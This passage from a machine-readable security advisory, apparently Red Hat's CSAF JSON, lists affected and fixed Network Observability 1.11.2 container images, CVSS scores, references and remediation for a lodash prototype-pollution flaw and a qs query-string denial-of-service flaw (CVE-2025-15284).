"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "lodash: prototype pollution in _.unset and _.omit functions"
},
{
"cve": "CVE-2025-15284",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2025-12-29T23:00:58.541337+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2425946"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in qs, a module used for parsing query strings. A remote attacker can exploit an improper input validation vulnerability by sending specially crafted HTTP requests that use bracket notation (e.g., `a[]=value`). This bypasses the `arrayLimit` option, which is designed to limit the size of parsed arrays and prevent resource exhaustion. Successful exploitation can lead to memory exhaustion, causing a Denial of Service (DoS) where the application crashes or becomes unresponsive, making the service unavailable to users.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "qs: qs: Denial of Service via improper input validation in array parsing",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat products that utilize the `qs` module for parsing query strings, particularly when processing user-controlled input with bracket notation. The `arrayLimit` option, intended to prevent resource exhaustion, is bypassed when bracket notation (`a[]=value`) is used, allowing a remote attacker to cause a denial of service through memory exhaustion. This can lead to application crashes or unresponsiveness, making the service unavailable.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-15284"
},
{
"category": "external",
"summary": "RHBZ#2425946",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2425946"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-15284",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15284"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-15284",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15284"
},
{
"category": "external",
"summary": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9",
"url": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9"
},
{
"category": "external",
"summary": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p",
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p"
}
],
"release_date": "2025-12-29T22:56:45.240000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
